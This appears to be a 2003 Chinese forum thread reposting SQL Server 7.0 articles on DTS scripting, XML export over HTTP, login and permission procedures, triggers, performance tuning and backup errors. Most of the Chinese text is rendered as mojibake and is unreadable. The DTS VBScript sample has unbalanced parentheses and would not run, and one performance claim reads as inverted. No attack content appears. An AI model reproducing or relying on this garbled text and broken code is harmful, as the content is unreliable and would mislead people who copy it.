DTS ³ÌÐò°üÖеÄת»»£¬Ê¹½Å±¾ÔÚÕû¸öת»»¹ý³ÌÖб£³ÖÔËÐÐ״̬¡£¡°SQL Enterprise Manager¡±ÌṩµÄ¼òµ¥µÄ½Å±¾±à¼­Æ÷£¬ÓÐÒ»¸öÓï·¨·ÖÎö½Å±¾°´Å¥¡£ÔÚÔËÐнű¾Ö®Ç°£¬¸Ã°´Å¥½«¾¯¸æÄú½Å±¾ÖеĴíÎó¡£ÔÚת»»¹ý³ÌÖУ¬¸Ã½Å±¾Ê¹Óà VBScript µÄ Cint ¹¦ÄÜ£¬½« employeeid ºÍ deptid µÄÊäÈëת»»Îª int£¬²¢½«ËùÓеĵç×ÓÓʼþµØַת»»ÎªÐ¡Ð´×Öĸ¡£

'**********************************************************************
'     Visual Basic ת»»½Å±¾
'     °Ñÿ¸öÔ´Áи´ÖƵ½
'     Ä¿±êÁÐ
'***********************************************************************
Function Main()
    DTSDestination("EmployeeID" = cint(DTSSource("Col001")
    DTSDestination("FirstName" = DTSSource("Col002"
    DTSDestination("LastName" = DTSSource("Col003"
    DTSDestination("email" = lcase(DTSSource("Col004")
    DTSDestination("extension") = DTSSource("Col005")
    DTSDestination("office") = DTSSource("Col006")
    DTSDestination("DeptID") = cint(DTSSource("Col007"))
    Main = DTSTransformStat_OK
End Function


Óà DTS£¬Äܹ»²ÉÓÃijЩÍêÉƵĵ¼Èë/µ¼³ö»úÖÆ£¬²¢Ê¹ÄúÄܹ»ÔÚת»»µÄÈκÎÒ»²½ÖÐʹÓýű¾¡£ÖØÒªµÄÊÇ£¬Òª×¢Òâ½Å±¾¿ÉÄܲ»ÊDzÙ×÷Êý¾ÝµÄ×î¼Ñ·½Ê½ ¡ª ÓÈÆäÊÇÄúµÄÊý¾Ý¼¯ºÜ´óµÄ»°¡£Èç¹ûÄúÓдóÁ¿Êý¾ÝÐèҪת»»£¬¶øÇÒÐÔÄÜÒ²ºÜÖØÒª£¬ÔòÄú¿ÉÄÜÐèÒª¿¼ÂÇʹÓà Visual Basic »ò C++ À´´´½¨ COM ×é¼þ£¬È»ºó´Ó DTS ÄÚ²¿µ÷ÓøÃ×é¼þ¡£Ò²¾ÍÊÇ˵£¬Èç¹ûÐÔÄܲ¢²»ÖØÒª£¬²¢ÇÒÒªÔÚÊý¾Ýµ¼Èë/µ¼³öʱ¶ÔËü½øÐÐת»»£¬Ôò½Å±¾ÎªÄúÌṩÁËʵÏÖÕâÒ»µãµÄÁé»î»úÖÆ£¬²¢Ê¹ÄúÄܹ»½«ËùÓдúÂë´æ´¢µ½¡°SQL Server¡±Êý¾Ý¿âÖУ¬Ê¹²¿Êð±äµÃÏ൱¼òµ¥¡£
¹ØÓÚ XML

Ä¿Ç°£¬XML ¿´ÆðÀ´ÏñÊÇÔÚÓ¦ÓóÌÐòÖ®¼ä¹²ÏíÊý¾ÝµÄ×î¼Ñ¹¤¾ß£¬ËùÒÔ¡°SQL Server¡±µÄËùÓйÜÀí¿Ï¶¨¶¼µÃµ½ÁË XML µÄºÃ´¦¡£±àдÌáÈ¡Êý¾Ý¿âÖÐËùÓÐÊý¾ÝµÄ½Å±¾£¬ÒÔ¼°±àдÓñà³ÌµÄ·½·¨´´½¨ XML ÎĵµµÄ½Å±¾£¬¶¼ÊÇ¿ÉÄܵġ£µ«ÊÇ£¬Èç¹ûÄúÖ»Òª²éѯ¡°SQL Server¡±µÄ»°£¬×îºÃʹËüÔÚ XML Öзµ»ØÊý¾Ý£¬È»ºóÓýű¾²Ù×÷¸Ã XML¡£¡°SQL Server¡±×é×î½ü·¢ÐÐÁË¡°SQL Server XML¡±¼¼ÊõµÄ·ÇÕýʽ°æ±¾£¬ÍêÈ«×öµ½ÁËÕâÒ»µã¡£
Ð嵀 XML ¼¼ÊõʹÓÃÆðÀ´·Ç³£¼òµ¥¡£Êµ¼ÊÉÏÊǶԷþÎñÆ÷·¢³ö HTTP ÇëÇ󣬽«²éѯ´«µÝ¸ø·þÎñÆ÷£¬¶ø·þÎñÆ÷·µ»Ø XML¡£ÎªÁ˾ÙÀý˵Ã÷£¬ÎÒ´´½¨Á˼òµ¥µÄ WSH ½Å±¾£¬ËüÏò±¾µØ»úÆ÷²éѯ North Wind Êý¾Ý¿âµÄ¹ÍÔ±±íÖеÄËùÓÐÊý¾Ý¡£Îª·ÃÎÊ XML£¬¸Ã½Å±¾Ê¹ÓÃÁË¡°Internet Explorer 5.01¡±¸½´øµÄ XML ·ÖÎö³ÌÐò¡£´Ë¶ÔÏóµÄÃÀÃîÖ®´¦£¬ÔÚÓÚËü´¦ÀíÄúËùÓÐµÄ HTTP ÇëÇ󣬲¢Ê¹ÄúÄܹ»Í¬²½µ÷Óá£ÒòΪÄúÔÙÒ²²»Óô¦ÀíÈκÎʼþÇý¶¯µÄ³ÌÐò£¬ËùÒÔ£¬Ëü¶Ô±àд½Å±¾ºÜÓаïÖú¡£
¸Ã½Å±¾·Ç³£¼òµ¥¡£Ëü´´½¨ÁË XML ·ÖÎö³ÌÐòµÄʵÀý£¬Ê¹Ó÷ÖÎö³ÌÐò´ò¿ª URL£¬È»ºó½«½á¹û±£´æΪ .xml Îļþ¡£Ö»ÐèÎåÐеĽű¾£¬²»´í°É!


' ÉèÖÃÇëÇóµÄ url
xmlpath = "http://localhost/Northwind?sql=select+*+from+employees+for+xml+auto"
' ´´½¨¡°XML ·ÖÎö³ÌÐò¡±µÄʵÀý
Set myXMLDoc = CreateObject("Microsoft.XMLDOM")
' ²»ÐèÒªÒì²½
myXMLDoc.async = false
' ¼ÓÔظà URL
myXMLDoc.Load xmlpath
' ±£´æÎĵµ
myXMLDoc.save "employees.xml"


ËüµÄÇ¿´óÖ®´¦ÔÚÓÚ£¬ÏÖÔڿɺÜÈÝÒ×µØÓë·þÎñÆ÷½¨Á¢Ô¶³ÌÁ¬½Ó²¢×ª´¢Êý¾Ý£»Ö»Òª¸ü¸Ä URL£¬ÄúÔçÒÑ×ö¹ýÁË¡£´ËÀý¸æËßÄúÈçºÎµ¼³ö£¬µ«ÊÇÄú¿ÉÒÔÇáËɵØд³öµ¼ÈëÀýÐгÌÐò£¬Óà XML ·ÖÎö³ÌÐòÔÚ XML Öз´¸´²Ù×÷²¢½«Öµ²åÈëÊý¾Ý¿âÖС£
ÕªÒª

¡°SQL Server¡±ÌṩȫÃæµÄ¿É±àд½Å±¾µÄ»úÖÆ£¬ÓÃÓÚ±¾µØ»òÔ¶³Ì¹ÜÀíÊý¾Ý¿â¡£DMO ºÍ DTS ÒѾ­ÉÏÊУ¨Êµ¼ÊÉÏ£¬DMO ÒÑ·¢ÐÐÁËÐí¶à°æ±¾£©£¬ËùÒÔÄú¿ÉÒÔÖ±½ÓÀûÓÃËüÃÇ£¬Ê¹ÄúµÄÊý¾Ý¿â¹ÜÀíÈÎÎñ×Ô¶¯»¯¡£Windows 2000 ÒÑÓë¡°Windows Script Host 2.0¡±Ò»ÆðÉÏÊУ¬ËùÒÔÒÔÉÏËùÓнű¾µÄÔËÐУ¬¶¼²»ÊÜ×°ÓС°SQL Server¡±µÄ Windows 2000 ·þÎñÆ÷µÄÌõ¼þÏÞÖÆ¡£¡°SQL Server¡±ÖÐÐ嵀 XML ¼¼Êõʹ´æÈ¡Êý¾Ý±äµÃÇá¶øÒ×¾Ù£¬´Ó¶øʹ±àд¡°SQL Server¡±µÄ½Å±¾¸ü¼ÓÈÝÒס£Óйء°SQL Server¡±µÄÏêϸÐÅÏ¢£¬Çë·ÃÎÊ SQL Server Developer enter£¨Ó¢ÎÄ£©(http://msdn.microsoft.com/sqlserver/)¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:02
ÔõÑù²ÅÄÜÏÞÖÆSQL ServerÖ»ÄÜÈÃÖ¸¶¨µÄ»úÆ÷Á¬½Ó

---Õª×Ô¡¶SQL±à³Ì¼¼ÇÉÕ¾¡·
Q. How can I restrict access to my SQL Server so that it only allows certain machines to connect?
(v1.0 19.10.1998)


ÔõÑù²ÅÄÜÏÞÖÆÎÒµÄSQL ServerÖ»ÄÜÈÃÖ¸¶¨µÄ»úÆ÷Á¬½Ó


A. SQL Server has no built-in tools/facilities to do this. It also does not have the facility to run a stored-procedure on connection that could be written/used to do this. Therefore you have the following choices :-

   SQL ServerûÓÐÕâÑùµÄ¹¦ÄÜ£¬Ò²Ã»ÓÐÌṩÔÚÁ¬½ÓʱִÐÐijһÌض¨¹ý³ÌµÄ¹¦ÄÜ¡£ÕâÀï½éÉܼ¸ÖÖʵÏֵķ½·¨

1. Put the SQL Server behind a firewall and use that to restrict access. This is the most secure and functional way to do what you want.

    ʹÓ÷À»ðǽ£¬ËüÌṩÁË°²È«ºÍÄãÏëÓõŤ¾ß¡£

2. Write your own ODS Gateway and point the clients at that instead of the SQL Server - the ODS Gateway will then do the checking. However, there is nothing stopping clients figuring out the correct SQL client-config entries to point straight at the SQL Server. There are examples of ODS code in the SQL Programmers Toolkit - available for free download from the MS website.

    д×Ô¼ºµÄODSÍø¹Ø´úÌæSQL ServerµÄ¿Í»§¶Ë - ÔÚODSÍø¹ØÖмì²é¡£²»¹ý£¬Õâ²¢²»ÄÜÍ£Ö¹Õý³£µÄ¿Í»§¶ËÁ¬½ÓSQL Server¡£ÔÚSQL Programmers ToolkitÖÐÓÐÒ»¸öÕâÑùµÄÀý£¬ ¿ÉÒÔ´Ó΢ÈíÕ¾µãÃâ·ÑÏÂÔØ¡£

3. Write a constantly running/scheduled stored-procedure that checks the relevant column in sysprocesses (net_address), and then issues a KILL command for any processes that should not be running. Note that this only works for MAC addresses. This way allows people to connect and possibly make changes before they are spotted and killed.

    дһ¸ö´æ´¢¹ý³Ì¼ì²ésysprocessesÖеÄÏàÓ¦ÁУ¨net_address£©
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:03
±à³Ì¹ÜÀíSQL SERVERµÄÕʺÅ

---Õª×Ô¡¶SQL±à³Ì¼¼ÇÉÕ¾¡·(ÎÄ/Water)
ÿ¸öÈ˶¼¹ØÐÄÊý¾Ý°²È«¡£Èç¹û²»¹ØÐĵĻ°£¬¿ÉÄÜûÓÐÒâʶµ½·ÃÎÊ·þÎñÆ÷ÖеÄÃô¸ÐÊý¾ÝÊǷdz£ÈÝÒ׵ġ£ÒòΪSQL SERVERÔÚÕâ·½ÃæÒѾ­ÌæÎÒÃÇ¿¼ÂǹýÁË£¬ËùÒÔÔÚÎÒÃÇ¿ª·¢Ó¦ÓóÌÐò¾Í¿ÉÒÔÖ±½ÓʹÓÃSQL SERVERµÄ°²È«²ßÂÔ¡£

    ÔÚSQL SERVERÖУ¬ÎÒÃÇ¿ÉÒÔÔÚENTERPRISE MANAGERÖд´½¨Ò»¸öµÇ¼Õʺţ¬²¢ÇÒ¸³ÓèÒ»¶¨µÄȨÏÞ£¬Èç¹ûÒª×öµ½ÎÒÃǵÄÓ¦ÓóÌÐòÖÐÄØ£¿

    SQL SERVERÌṩÁËÈçÏÂϵͳ¹ý³Ì

    Ò»¡¢SP_ADDLOGIN    Ìí¼ÓµÇ¼ÕʺÅ

        SP_ADDLOGIN login_id[,password[,defaultdb[,defaultlanguage]]]

        login_id          ÕʺÅÃû
        password          ¿ÚÁî
        defaultdb         È±Ê¡Êý¾Ý¿â£¬Ä¬ÈÏΪMASTERÊý¾Ý¿â¡£
        defaultlanguage   È±Ê¡ÓïÑÔ

    ¶þ¡¢SP_ADDUSER    Ìí¼ÓÓû§

        SP_ADDUSER login_id[,username[,rolename]]

        username          µÇ¼Êý¾Ý¿âµÄ±ðÃû
        rolename          Óû§Á¥ÊôµÄ×éÃû

    Èý¡¢SP_DROPLOGIN  É¾³ýÕʺÅ

        SP_DROPLOGIN login_id

    ËÄ¡¢SP_DROPUSER   É¾³ýÓû§

        SP_DROPUSER username

    Îå¡¢GRANT         ÊÚÓèÓû§»ò×éÐí¿ÉȨÏÞ

        GRANT permission_list ON object_name TO name_list

        permission_list    ÊÚÓèµÄȨÏÞµÄÇåµ¥
        object_name        ±»ÊÚÓèȨÏÞµÄ±í¡¢ÊÓͼ»ò´æ´¢¹ý³Ì
        name_list          ±»ÊÚÓèȨÏÞµÄÓû§»ò×éµÄÇåµ¥

    Áù¡¢REVOKE        ÊÕ»ØÓû§»ò×éÐí¿ÉȨÏÞ

        REVOKE permission_list ON object_name FROM name_list

    Æß¡¢SP_PASSWORD   Ð޸ĿÚÁî

        SP_PASSWORD [old_password,]new_password[,login_id]

    Ç°Áù¸ö¹ý³ÌÖ»ÄÜSA»ò±»SAÊÚÓèSecurity AdministratorsȨÏÞµÄÈ˲ſÉʹÓ㬵ÚÆ߸ö¹ý³ÌÆÕͨÓû§¿ÉÄÜʹÓ㬵«²»ÄÜʹÓÃlogin_idÏֻÓÐÉÏÊöȨÏÞµÄÈ˲ſÉʹÓôËÏî

¡¡

Ó¦ÓÃʵÀý£º

    Ìí¼Ó

        declare @login varchar(6),@pass varchar(11)

        exec sp_addlogin @login,@pass,databasename
        exec sp_adduser @login,@login,public

        grant insert,select,update,delete on table1 to public

    ɾ³ý        

        revoke insert,delete on table1 from public

        exec sp_dropuser @login
        exec sp_droplogin @login

    ±¾ÎÄ´úÂëÔÚNT4+SQL7ºÍWIN98+SQL7ºÍNT4+SQL6.5ÖвâÊÔͨ¹ý

    ²Î¿¼×ÊÁÏ£ºSQL Server 7.0 ¿ª·¢Ö¸ÄÏ
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:04
dzÎöÊý¾ÝÍêÕûÐÔÎÊÌâ

---Õª×Ô¡¶ChinaASPÍøÂç¡·
dz Îö Êý ¾Ý Íê Õû ÐÔ ÎÊ Ìâ

ÄÚ ÃÉ »· ¾³ ЊϢ ÖÐ ÐÄ
Íõ À« ÌÎ
---- ÔÚ ¿ª ·¢C/S ½á ¹¹ µÄ ´ó ÐÍ Êý ¾Ý ¿â Ó¦ Óà Èí ¼þ ʱ£¬ Ò» °ã Çé ¿ö Ï£¬ Èí ¼þ ¿ª ·¢ ÈË Ô± ºÍ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± ²¢ ²» ÊÇ Í¬ Ò» ¸ö ÈË£¬ Õâ ¾Í Ðè Òª Э ÉÌ ºÃ Ò» Щ ¼´ ¿É ÓÉ ³Ì Ðò Éè ¼Æ ÈË Ô± ½â ¾ö ÓÖ ¿É ÓÉ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± À´ ½â ¾ö µÄ ÎÊ Ì⣬ ±£ Ö¤ Êý ¾Ý Íê Õû ÐÔ ¾Í ÊÇ Ò» ¸ö Õâ Ñù µÄ ÎÊ Ìâ¡£

---- ±Ê Õß ¾Ù Ò» ¸ö ×î ¼ò µ¥ µÄ Àý ×Ó£º »õ Îï ³ö ¿â¡¢ ÍË »õ µÄ Àý ×Ó

---- Õâ Àï ÓÐ ¿â ´æ ±í(kcb)¡¢ ³ö ¿â µ¥ ±í(ckb) ºÍ ÍË »õ µ¥ ±í(thb)

---- ¿â ´æ ±í °ü º¬ Èç Ï ÁУºWPBH£¬KCSL¡² Îï Æ· ±à ºÅ£¬ ¿â ´æ Êý Á¿¡³

---- ³ö ¿â µ¥ ±í º¬ Èç Ï ÁУºWPBH£¬CKSL¡² Îï Æ· ±à ºÅ£¬ ³ö ¿â Êý Á¿¡³

---- ÍË »õ µ¥ ±í º¬ Èç Ï ÁУºWPBH£¬THSL¡² Îï Æ· ±à ºÅ£¬ ÍË »õ Êý Á¿¡³

---- ¼Ù Èç ÎÒ ÃÇ ½ø ÐÐ ÁË Èç Ï ½» Ò×£º

---- 1 £® Îï Æ·A ÓÐ Ê® ¼þ ³ö ¿â

---- 2 £® Îï Æ·A ÓÐ Îå ¼þ ÍË »õ£¨ ¿É ÔÙ ³ö ¿â£©

---- ÎÒ ÃÇ ¶¼ Öª µÀ£¬ Õâ Á½ ±Ê ½» Ò× ¶¼ Ðè Òª ÐÞ ¸Ä ¿â ´æ ±í£¬ µ« ÐÞ ¸Ä ¿â ´æ ±í µÄ ¹¤ ×÷ ÓÉ Ë­ À´ ×ö¡£ ¿É ÒÔ ¿Ï ¶¨ µÄ ˵£¬ ³Ì Ðò Éè ¼Æ ÈË Ô± ºÍ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± ¶¼ ¿É ÒÔ Íê ³É¡£

---- Ê× ÏÈ ÎÒ ÃÇ ¾Ù Àý ÓÉ ³Ì Ðò Éè ¼Æ ÈË Ô± Èç ºÎ Íê ³É£º

---- 1 £® ³ö ¿â ʱ£¬ ²ú Éú Р³ö ¿â ¼Ç ¼ ²å Èë µ½ ³ö ¿â µ¥ ±í ÖУ¬ ͬ ʱ ½« ¿â ´æ ±í ÖÐ µÄKCSL ÓÃKCSL ¼õ µô ³ö ¿â Êý Á¿ µÄ Öµ È¡ ´ú¡£

---- 2 £® ÍË »õ ʱ£¬ ²ú Éú РÍË »õ ¼Ç ¼ ²å Èë µ½ ÍË »õ ±í ÖУ¬ ͬ ʱ ½« ¿â ´æ ±í ÖÐ µÄKCSL ÓÃKCSL ¼Ó ÉÏ ÍË »õ Êý Á¿ µÄ Öµ È¡ ´ú¡£

---- ÓÉ ÓÚ ²» ͬ µÄ ¿ª ·¢ ƽ ̨£¬ Íê ³É Õâ Ïî ¹¤ ×÷ µÄ ´ú Âë ²» ¾¡ Ïà ͬ£¬ ¹Ê ²» д ³ö ¾ß Ìå ´ú Âë¡£

---- ½Ó Ï À´ ¿´ ¿´ ÓÉ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± ÊÇ Èç ºÎ Íê ³É Õâ Ïî ¹¤ ×÷£º

---- Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± Íê ³É Õâ Ïî ¹¤ ×÷ ¿¿ µÄ ÊÇ ´¥ ·¢ Æ÷¡£

---- Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± ½¨ Á¢ Èç ÏÂSQL Óï ¾ä Ϊ ³ö ¿â µ¥ ±í(ckb) ½¨ Á¢ ²å Èë ´¥ ·¢ Æ÷

CREATE  TRIGGER  FORINSERT
ON   ckb
FOR  INSERT
AS
     UPDATE   kcb
         SET   kcb.kcsl=kcb.kcsl £­ inserted.cksl
         FROM  inserted
         WHERE  kcb.wpbh=inserted.wpbh

---- ͬ Ñù£¬ Ò² Òª Ϊ ÍË »õ µ¥ ±í ½¨ Á¢ Àà ËÆ µÄSQL Óï ¾ä

    CREATE  TRIGGER  FORINSERT
ON   thb
FOR  INSERT
AS
     UPDATE   kcb
         SET   kcb.kcsl=kcb.kcsl + inserted.thsl
         FROM  inserted
         WHERE  kcb.wpbh=inserted.wpbh

---- ¿É ÒÔ ºÜ Ã÷ ÏÔ µØ ¿´ ³ö£¬ Èç ¹û Á½ ¸ö ÈË ¶¼ ×ö ÁË ¹¤ ×÷£¬ ³Ì Ðò ÔÚ ÔË ÐÐ ¹ý ³Ì ÖÐ Ò» ¶¨ »á ³ö ´í¡£

---- µ« Õâ Ïî ¹¤ ×÷ ¾ß Ìå Ó¦ ¸Ã ÓÉ Ë­ À´ Íê ³É £¿ ÎÒ Ë½ Ï ÈÏ Îª£¬ Ó¦ ¸Ã ÓÉ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± À´ Íê ³É£¬ Ô­ Òò Èç Ï£º

---- 1¡¢ Ò» ¸ö ¿É ÒÆ Ö² ÐÔ ºÃ µÄ Èí ¼þ Ó¦ ¸Ã Óë Êý ¾Ý µÄ ½á ¹¹ ÎÞ ¹Ø£»

---- 2¡¢ ³Ì Ðò µÄ ÑÐ ÖÆ ºÍ µ÷ ÊÔ ¸ü ¼Ó ¼ò µ¥, ÔÙ Äà ÉÏ Àý À´ ˵£¬ ³Ì Ðò Éè ¼Æ ÈË Ô± Ö» Ðè Íê ³É Íù ³ö ¿â µ¥ ±í ºÍ ÍË »õ µ¥ ±í ÖÐ ²å Èë Ïà Ó¦ µÄ ¼Ç ¼ ¹¤ ×÷ ¼´ ¿É£¬ ¾ß Ìå ÐÞ ¸Ä ¹¤ ×÷ ÓÉ ´¥ ·¢ Æ÷ À´ Íê ³É¡£

---- 3¡¢ ´¥ ·¢ Æ÷ µÄ ÔË ÐÐ ÊÇ ÔÚ ·þ Îñ Æ÷ ¶Ë£¬ ¼õ Çá ÁË ¿Í »§ ¶Ë µÄ ¿ª Ïú¡£

---- 4¡¢ ´¥ ·¢ Æ÷ ²» ¹Ü Äã ÔÚ Ê² ô ʱ ºò ½ø ÐÐ ²Ù ×÷£¬ Ëü ¶¼ »á Æô ¶¯£¬ ±£ Ö¤ Êý ¾Ý ²» »á ³ö ´í¡£

---- Æä ʵ£¬ ÉÏ ÎÄ Ëù д µÄ ´¥ ·¢ Æ÷ Ö» ÊÇ Ò» ¸ö ×î ¼ò µ¥ µÄ Àý ×Ó£¬ ÔÚ Êµ ¼Ê ¹¤ ×÷ ÖÐ Òª Ô¶ Ô¶ ±È Õâ ¸´ ÔÓ µÃ ¶à£¬ Éè ¼Æ Ò» ¸ö ºÃ µÄ Êý ¾Ý ¿â »á »¨ ·Ñ Êý ¾Ý ¿â Éè ¼Æ ÈË Ô± ºÜ ´ó µÄ ÐÄ Ñª£¬ Èç ¹û Ö» ÊÇ ½¨ Á¢ ÁË ±í ¸ñ£¬ ¹¤ ×÷ »¹ û ÓÐ Íê ³É Ò» °ë ÄØ£¬ Ï һ ¶à °ë ¹¤ ×÷ ¾Í ÊÇ ½« Äã µÄ Êý ¾Ý Íê Õû ÐÔ ÎÊ Ì⠽⠾ö µô¡£

---- ³É ¹¦ µØ Éè ¼Æ Ò» ¸ö Êý ¾Ý ¿â ÄÜ Æð µ½ Ê °ë ¹¦ ±¶ µÄ Ч ¹û¡£ Êý ¾Ý µÄ Íê Õû ÐÔ ÒÑ ¾­ ½â ¾ö ÁË£¬ ³Ì Ðò Éè ¼Æ Æð À´ »¹ ÓРʲ ô ÎÊ Ìâ ÄØ £¿

---- ˵ À´ ÈÝ Ò×£¬ ×ö µ½ È´ ºÜ ÄÑ£¬ ±È Õß ÔÚ Êµ ¼Ê ¹¤ ×÷ ÖÐ Ò² ¾­ ³£ Óö µ½ ºÜ ¶à ÎÊ Ì⣬ Ï£ Íû ÄÜ ºÍ ÖÚ ¶à µÄ ͬ ÐÐ ¹² ͬ ½ø ²½£¬ °Ñ Äã µÄ ¾­ Ñé ºÍ ºÃ µÄ ·½ ·¨ ¸æ Ëß ´ó ¼Ò¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:04
¶ÁÊé±Ê¼Ç------µÃµ½Êý¾Ý¿âÆÚÍûµÄÐÔÄÜ

---Õª×Ô¡¶ChinaASPÍøÂç¡·
¶ÁÊé±Ê¼Ç------µÃµ½Êý¾Ý¿âÆÚÍûµÄÐÔÄÜ

ÎÒ¶ÁÊéµÄ±Ê¼Ç,ÄóöÀ´´ó¼ÒûÊ¿´¿´,»òÕß,Ò²ÊÇÇóÖ¤ÓÚ´ó¼ÒÖ®Òâ
ÒÔMS sql server 6.5 ΪÀý

Ó²¼þµ÷ÕûÐÔÄÜ
×îÓпÉÄÜÓ°ÏìÐÔÄܵÄÊÇ´ÅÅÌ,½â¾ö°ì·¨
1.²ÉÓôø¸ßËÙ»º³åµÄRAIDÕóÁдÅÅÌ,
2.¶àI/OͨµÀ,¶à´¦ÀíÆ÷³¬Ç°¶ÁÏ̠߳     ¿ÉÒÔÌá¸ß¼ìË÷Á½µ½Èý±¶
3.½Ï´ó¸ßËÙ»º³å,ʹÓÃDBCC PRINTABLE Ç¿ÖÆ·ÃÎÊƵÂÊ¸ßµÄ±í³£×¤»º´æ

Èí¼þ·½·¨
1.¹æ·¶»¯----------¼Ó¿ìÍÌÍÂËÙ¶È
2.·´¹æ·¶»¯-------¼Ó¿ì¼ìË÷ËÙ¶È
3.´´½¨»òɾ³ýË÷Òý
4.·Ö¸îÒ»¸ö±íºó·ÅÈë¶à¸öÊý¾Ý¿â
-----×¢.ºÃÏóÔÚ7.0ÖÐÕâÑùû±ØÒª×ö,ÒòΪ7.0ÖпÉÒÔÓöà¸öÎļþ´æ´¢Êý¾Ý¿â,È»ºó½«Æä·Ö²¼µ½RAID´ÅÅÌÖÐÈ¥Ìá¸ßÏìÓ¦ËÙ¶È

Ó²¼þ·Å·¨ÄÜÍùÍùÆÕ±éÌá¸ßÐÔÄÜ,¶øÈí¼þ·½·¨Ö»ÄÜÌá¸ßijÏî,¼¸ÏîÐÔÄÜ

¶ÔÓëÊý¾Ý¿âÀ´Ëµ,³£³£»áÌáµ½Èý¸öÖ¸±ê
1.²éѯµÄÏìÓ¦ËÙ¶È
2.ÍÌÍÂÁ¿
3.²¢Ðд¦ÀíÄÜÁ¦
4.ÍÌÍÂÁ¿ºÍ²¢Ðд¦ÀíµÄ½áºÏ

DBA¹¤×÷µÄÒ»Ïî¾ÍÊÇ,Éè·¨ÔÚ¸÷¸öÖ¸±êÖÐÕÛÖÔ,È¡µÃÓû§ÂúÒâµÄÖ¸±ê

×î³£¼ûµÄÊÇƽºâupdate ºÍ,selectµÄÐÔÄÜ
Ò»°ã¶øÑÔ,¹æ·¶»¯¿ÉÒÔÌá¸ßupdateÐÔÄÜ,·´¹æ·¶»¯Ìá¸ßselectÐÔÄÜ

Ò»¸öÌØÊâµÄÀý×Ó,ƽºâOLTPºÍDSSµÄÐÔÄÜ
OLTP:Áª»úÊÂÎñ´¦Àí³ÌÐò,´ó¶àÊýÊý¾Ý²Ù×÷Ϊupdate,¹æ·¶»¯Êý¾Ý¿â,СÈÝÁ¿±í,ÉÙÁ¿¾«¼òË÷Òý¿ÉÒÔÌá¸ß×î¼ÑÐÔÄÜ
DSS:   Êý¾Ý²Ö¿âϵͳ,¶ÔÓ¦ÕâЩϵͳ,´ó¶àÊDzéѯ²Ù×÷,¸ßÈßÓà,¶àË÷Òý»áÌá¸ßÏìÓ¦ËÙ¶È

˳±ã˵һÏÂ,ÔÚSQLserver 7.0ÖÐ,Óà query analyzer ¿ÉÒԺܷ½±ã·ÖÎö²éѯЧÂÊ
µ±ÄãµÄ²éѯÏìӦʱ¼äСÓÚÒ»Ãëʱ,Äã¿Öž͵Ã×¢ÒâÌá¸ß²éѯËÙ¶ÈÁË
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:05
Microsoft SQL Server 7.0 ±¸·Ý¼°»Ö¸´Ïà¹ØÎÊÌâ

---Õª×Ô¡¶ASP¶¯ÍøÏÈ·æ¡·
¡¾¡¸Microsoft SQL Server 7.0¡¹ÒÔϼò³Æ¡¸SQL Server 7.0¡¹¡¿SQL Server 6.5µÄSQLÓï¾äÄÜ·ñת´¢£¨Dump£©ºÍ¼ÓÔØ£¨Load£©SQL server 7.0£¿¿ÉÒÔ½øÐб¸·Ý£¨Backup£©ºÍ»Ö¸´£¨Restore£©¡£»Ö¸´Êý¾Ý¿âʱ³öÏÖÏÂÁÐÐÅÏ¢ÈçºÎ½â¾ö£¿SQL-DMO Error: Could not obtain exclusive lock on database Model
ÕâÊÇÒòΪ»Ö¸´Êý¾Ý¿âʱ£¬ÁíÍâÒ»¸ö³ÌÐòÕýÔÚʹÓÃÄ£ÐÍÊý¾Ý¿â£¬ ÇëÔÚ»Ö¸´Êý¾Ý֮ǰÏÈÒÔsp_whoÕâ¸ö´æ´¢¹ý³Ì²é¿´ÊÇ·ñÓÐÈËÔÚʹÓÃÄ£ÐÍÊý¾Ý¿â¡£

ÔÚWindows 95/98ÏÂSQL Server 7.0ÊÇ·ñ¿ÉÒÔ±¸·Ýµ½´Å´øÖУ¿

²»ÐУ¬Ç뽫Êý¾Ý¿â±¸·Ýµ½´ÅÅÌÇý¶¯Æ÷ÔÙÓɱ¸·Ýµ½´Å´ø¡£

ÔÚWindows 95/98ÏÂÄúÒ²¿ÉÒÔÖ´ÐÐÈç" EXEC sp_addumpdevice 'tape', 'tapedump1', '\\.\tape0'"µÄÖ¸Áµ«Êǵ±ÄúÖ´ÐÐ"backup database to tapedump1"ʱ»á³öÏÖÈçϵÄÐÅÏ¢£ºServer: Msg 3201, Level 16, State 5, Line 1 Cannot open backup device 'tapedump1'. Device error or device off-line. See the SQL Server error log for more details. Server: Msg 3013, Level 16, State 1, Line 1 Backup or restore operation terminating abnormally.

²¢ÇÒÔÚSQL Server 7.0 errorlogÒ²»á³öÏÖÈçÏÂÐÅÏ¢£º BackupTapeFile::OpenMedia: Backup device '\\.\tape0' failed to open. Operating system error = 2(The system cannot find the file specified.).

½«SQL Server 7.0Êý¾Ý¿â±¸·Ýµ½ÍøÂçÉÏʱ³öÏÖÈçÏÂÐÅÏ¢
Server: Msg 3201, Level 16, State 1, Line 1 Cannot open backup device 'E:\pubs.dat'. Device error or device off-line. See the SQL Server error log for more details. Server: Msg 3013, Level 16, State 1, Line 1 Backup or restore operation terminating abnormally.
²¢ÇÒÔÚError log³öÏÖ
1998-12-29 11:58:21.62 kernel BackupDiskFile::CreateMedia: Backup device'E:\pubs.dat' failed to create. Operating system error = 5(Access is denied.).
ÈçºÎ½â¾ö£¿

ÕâÊÇÓÉÓÚȨÏÞ²»¹»Ôì³ÉµÄ¡£ ÇëÈ·¶¨SQL Server ServiceµÄÕʺÅΪÓòÓû§£¨Domain User£©£¬²¢ÇÒÔÚÍøÂçÉÏдȨÏÞ¡£

ÊÇ·ñ¿ÉÒÔ½«SQL Server 7.0Êý¾Ý¿â±¸·Ýµ½Ñ¹Ëõ¾í£¨Compressed Volume£©£¿

